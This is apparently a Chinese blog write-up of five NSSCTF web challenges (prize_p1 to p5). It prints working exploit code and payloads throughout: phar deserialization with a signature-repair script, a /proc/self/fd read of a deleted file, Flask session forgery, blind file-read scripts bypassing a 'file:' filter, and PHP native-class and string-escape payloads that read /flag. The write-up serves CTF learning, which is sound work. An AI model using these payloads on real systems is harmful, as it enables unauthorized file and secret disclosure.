本文主要是介绍[NSSCTF]prize_p1~p5五道题学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
prize_p1(phar反序列化)
打开题目是php源码,
<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}
class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
这里有两个类,第一个getflag类是用来读取flag的,第二个类具有读和写的功能。这代码看似挺简单的,其实不然,代码最后一行是有throw抛出异常的。当程序抛出异常时,就不会去执行__destruct方法。当然也就没有后续的读取flag和读写操作了。
绕过异常(一)
当对象没有被引用时,就会触发GC机制,调用__destruct方法。一般情况下,可以将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用,例如下面这个例子
a:2:{i:0;O:4:"test":0:{};i:0;N}
然而在本题中unserialize($_GET[0]);是没有进行任何引用的,在这里就自动绕过了。
phar反序列化
这里getflag都被过滤了,而且很多伪协议也过滤了,唯独phar没有过滤,那么我们结合题目有写文件功能上传phar文件再通过phar协议读取。生成完phar文件,但是我们发现,里面的内容还是以明文存储的。
有getflag,还是绕不过过滤怎么办?这里我们可以通过将phar转换为另一种文件格式(压缩)这样反序列化就不会出现明文了。有以下五种能触发phar操作。
普通phar
gzip
bzip2
tar
zip
相关文章:从虎符线下CTF深入反序列化利用 |
绕过异常(二)
在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为
a:2:{i:0;O:7:"getflag":{}i:0;N;}
怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。
修改phar签名
修改了明文就万事大吉了?当然不,文件内容修改了,签名也要一并修改才行。查阅php官方文档有phar文件的格式
签名修复脚本:
from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件
此时这道题的四个步骤就完成了,剩下的就是写入phar文件然后用phar://访问。白嫖大佬脚本。
import requests
import gzip
import reurl = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('./phar.zip', 'rb').read()#压缩包内容通过post传参}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt' #读取写入的文件}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] #正则匹配我们想要的文本
print(flag)
成功得出flag。
prize_p2(文件描述符)
打开题目是一段node.js源码,不熟悉js语言的我又去简单学习了以下node.js的基础语法。先看源码:
const { randomBytes } = require('crypto');
const express = require('express');//require导包
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {fs.read(fd, flag, 0, 44, 0, () => {fs.rm(fp, () => {}); //删除flag.txt});
});
app.get('/', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));//就是返回自身的源代码
});app.get('/hint', function (req, res) {res.send(flag.toString().slice(0, randomBytes(1)[0]%32));//tostring()将缓冲区数据解码为字符串
})//slice将字符串提取出子串// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');try {let a = req.query.a; //获取客户端参数if (a === randomBytes(3).toString()) {res.send(fs.readFileSync(req.query.b));} else {const t = setTimeout(() => {res.send(fs.readFileSync(req.query.b));//设计在多少时间后执行,这里是86400*1000也就是一天后执行}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);}//parseInt函数进行int类型转换。然后与86400*1000进行比较} catch {res.send('?');}
})app.listen(80, '0.0.0.0', () => {console.log('Start listening')
});
js代码分析到这,我们的利用点就是通过fs.readFileSync()函数来读取文件,这里要想执行这个函数,有两种途径,一种就是传入的a参数去匹配三个字节的随机数,第二种就是进入到这个setTimeout函数里面。本题考察第二种,利用setTimeout函数的漏洞,就算能够执行读取函数,flag.txt已经被删除,那就需要通过文件描述符来获取flag。
setTimeout函数绕过
正常情况下,这个函数执行要等待最低一天的时间,这显然是不可行的,查阅官方文档。 官方文档地址:setTimeout(callback, delay[, ...args]) | Node.js API 文档
那么我们传参c大于2147483647即可绕过。
文件描述符
文件描述符(File Descriptor)简介 - SegmentFault 思否
我理解是打开一个文件就会创建一个进程,就会返回一个文件描述符,而这个文件描述符就指向这个打开的文件。很巧的是这题打开了flag.txt却没有关闭,我们可以通过文件描述符来获取到被删除文件的内容。linux的/proc目录是一个伪文件系统,linux一切皆文件,linux常见的进程也要变成文件存储在/proc目录下。在/proc目录下有很多以数字为名字的文件夹,就是进程运行时对应的进程号,而在这些文件夹下有一个fd文件夹,用于存放这个进程所拥有的文件描述符(数字)
通过读取当前进程的文件描述符来获取到flag的内容。读取路径为/proc/PID/fd/数字,但是当前进程的PID我们不知道,这里又有一个小知识点,/proc/self是当前运行的程序所对应进程号的一个链接,可以获取到当前运行的进程号。最后的数字需要自己猜了,爆破的话容器会遭不住的。这里就直接写了。那么payload就为:
getflag?c=2147483648&b=/proc/self/fd/18
最后推荐一位师傅写的wp,太顶了:nss_prize1-2 - 刷题记录 |Yume Shoka = Xilzy's blog = Just have fun in cyberspace!
prize_p3(nginx)
题目描述下载1.zip就可以得到flag。但是我访问1.zip为啥没反应。看了群主的视频讲解才知道,压缩包只能1kb的下载,时间远远不够,看群主是写python脚本来分块多线程下载,对于我这种盲注脚本都写不太明白的菜鸡来说,有点太困难了。官方文档:模块ngx_http_slice_module (nginx.org)
当配置上面的模块功能开启后,对于request请求的一个大文件,ngnix就会将整个大请求分成若干个子请求,每个子请求返回大请求数据的一部分,这个部分的边界由http请求头里的range字段来设置
这里直接用IDM这个多线程下载器下载,虽说也快不了多少,也算是把它下载下来了。最后解压,在文件中搜索NSS找到flag。
等自己python学的差不多了再去研究脚本。
prize_p4(python,盲注)
打开题目是一个表单,随便输入点什么进去,得到提示。
点击get_key发现是一个flask框架路由代码,可以用来获取到key。
@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY
可以得到key,又让admin登录,那么我们可以伪造session来实现admin登录。flask框架session是储存在客户端的,这就为伪造session提供了条件。
我们要让admin为true,直接改?那要key干什么?flask框架的session是需要利用密钥来生成签名的。所以接下来找到key,看那段路由代码,请求方式不能为GET,我们可以利用postman这个平台。有很多请求方式一个个试。这里用HEAD请求方式,它与GET请求类似,服务器的处理机制也是一样的,唯一大的区别就是HEAD请求不返回实体数据,只返回响应头,属于精简版的GET请求吧,获取到session。
解码得到key。值为c3d4705e-1443-47e8-8e6c-384cf5ebfdf7,得到了key接下来就是要怎么伪造了。github上应该有专门加密的脚本。脚本地址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
得到伪造的session。在/home路由下伪造得到python源码。
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag SECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(SECRET_KEY=SECRET_KEY,
))#src in /app@app.route('/')
@app.route('/index',methods=['GET'])
def index():return render_template("index.html")@app.route('/get_data', methods=["GET",'POST'])
def get_data():data = request.form.get('data', '123')if type(data) is str:data=data.encode('utf8')url = request.form.get('url', 'http://127.0.0.1:8888/')if data and url:session['data'] = datasession['url'] = urlsession["admin"]=Falsereturn redirect(url_for('home'))return redirect(url_for('/'))@app.route('/home', methods=["GET"])
def home():if session.get("admin",False):return render_template_string(open(__file__).read())else:return render_template("home.html",data=session.get('data','Not find data...'))@app.route('/getkey', methods=["GET"])
def getkey():if request.method != "GET":session["key"]=SECRET_KEYreturn render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():if request.method != "GET":session["key"]=SECRET_KEY''')@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():if session['data'] and session['url']:if 'file:' in session['url']:return "no no no"data=(session['data']).decode('utf8')url_text=urllib.request.urlopen(session['url']).read().decode('utf8')if url_text in data or data in url_text:return "you get it"return "what ???"@app.route('/getflag', methods=["GET"])
def get_flag():res = flag.waf(request)return resif __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=8888)
审计python源码。重点在这个/getflag路由,传进来的参数会通过waf进行过滤,但是我们不知道这个路由具体的实现代码,其次在/get_hindd_result路由下有段代码:
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
可以进行任意文件读取,那么我们可以通过这个利用点来读取到这个/getflag路由的代码。但是看前面有一个对file协议过滤的代码:
if 'file:' in session['url']:return "no no no"
这里用大小写绕过即可。这里有一个麻烦的点,任意文件读取的结果不会回显在页面。如果url_text和data有相同的部分就会返回"you get it",那么根据这个判断我们可以进行盲注。但是现在还有一个点,该读取什么文件,哪的文件?前面代码注释源码都在app目录下。(#src in /app)大师傅的wp解释说前面导入了flag包,所以读取源码的文件就为/app/flag.py 。
剩下的就是编写脚本进行盲注了,python功底不好,跟着师傅的脚本自己手写一遍。
import requests
import stringurl1 = "http://1.14.71.254:28853//get_data"
url2 = "http://1.14.71.254:28853/get_hindd_result"
node = "def"
payload = "\n";
for i in range(32,128):payload +=chr(i) #这里要把换行算进去
while 1:for i in payload: #字符集nodes = node + idata = {'url':'File:///app/flag.py','data':nodes}res = requests.session() #开启sessionres.get(url1,data=data) #设置session值#print(str(res.cookies.values()))resp = str(res.cookies.values())[2:-2] #除去['和']pay = requests.get(url2,cookies = {'session':resp})print(pay.text)if "you get it" in pay.text:node +=iprint(node)breakif ord(i) == 127:print(node)exit(0)
这个脚本确实是能跑的,但是很慢,一直跑不全,而且总是Timeout,这里就用师傅跑出来的吧。
def waf(req):if not req.base_url.startswith("http://127.0.0.1"):return "NoNo!!"if not req.full_path.endswitch(".html?"):return "No!!"return os.getenv("FLAG")
这段代码的意思是需要开头是127.0.0.1,以.html结尾,这好像是不影响读取flag的,这代码可以看出flag在环境变量里,而这个flag.py也在当前运行,所以可以通过/proc/self/environ在环境变量获取到flag,稍微改一下上面爆出flag.py的脚本就可以了。
prize_p5(PHP反序列化)
打开题目是一段php代码,看来是考php的反序列化。源码如下:
<?php
error_reporting(0);
class catalogue{public $class;public $data;public function __construct(){$this->class = "error";$this->data = "hacker";}public function __destruct(){echo new $this->class($this->data);}
}
class error{public function __construct($OTL){$this->OTL = $OTL;echo ("hello ".$this->OTL);}
}
class escape{ public $name = 'OTL'; public $phone = '123666'; public $email = 'sweet@OTL.com';
}
function abscond($string) {$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');$filter = '/' . implode('|', $filter) . '/i';return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){if(!preg_match('/object/i',$_GET['cata'])){unserialize($_GET['cata']);}else{$cc = new catalogue(); unserialize(serialize($cc)); } if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){if (preg_match("/flag/i",$_POST['email'])){die("nonono,you can not do that!");}$abscond = new escape();$abscond->name = $_POST['name'];$abscond->phone = $_POST['phone'];$abscond->email = $_POST['email'];$abscond = serialize($abscond);$escape = get_object_vars(unserialize(abscond($abscond)));if(is_array($escape['phone'])){echo base64_encode(file_get_contents($escape['email']));}else{echo "I'm sorry to tell you that you are wrong";}}
}
else{highlight_file(__FILE__);
}
?>
代码意思很容易理解,这里有一个利用点。
这里可以实例化任意类,而且配合echo输出,那么自然想到就是原生类读文件了。这里利用FilesystemIterator来读取根目录有哪些文件。
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}
发现只有一个sys,这个原生类是只能读取文件名的,所以要配合glob协议来找到flag的文件名。
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}
在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的,我们利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:
方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制
那么读取flag的payload为:
O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}
成功得到flag。
这么长的代码就考这个?当然不是,这只是一个非预期,往下看代码,还有一个利用点。
字符替换,有长度差,那么应该就考察字符逃逸了。这里长字符的和短字符的都可以供我们选择,这里我选择字符增多。
这里字符逃逸的细节不再述说。payload为:
name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTF";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=123&email=1234
注意一定要好好看代码,之前一直没给cata传参,一直就得不出来。打payload得出base64,解码得到flag。
这篇关于[NSSCTF]prize_p1~p5五道题学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!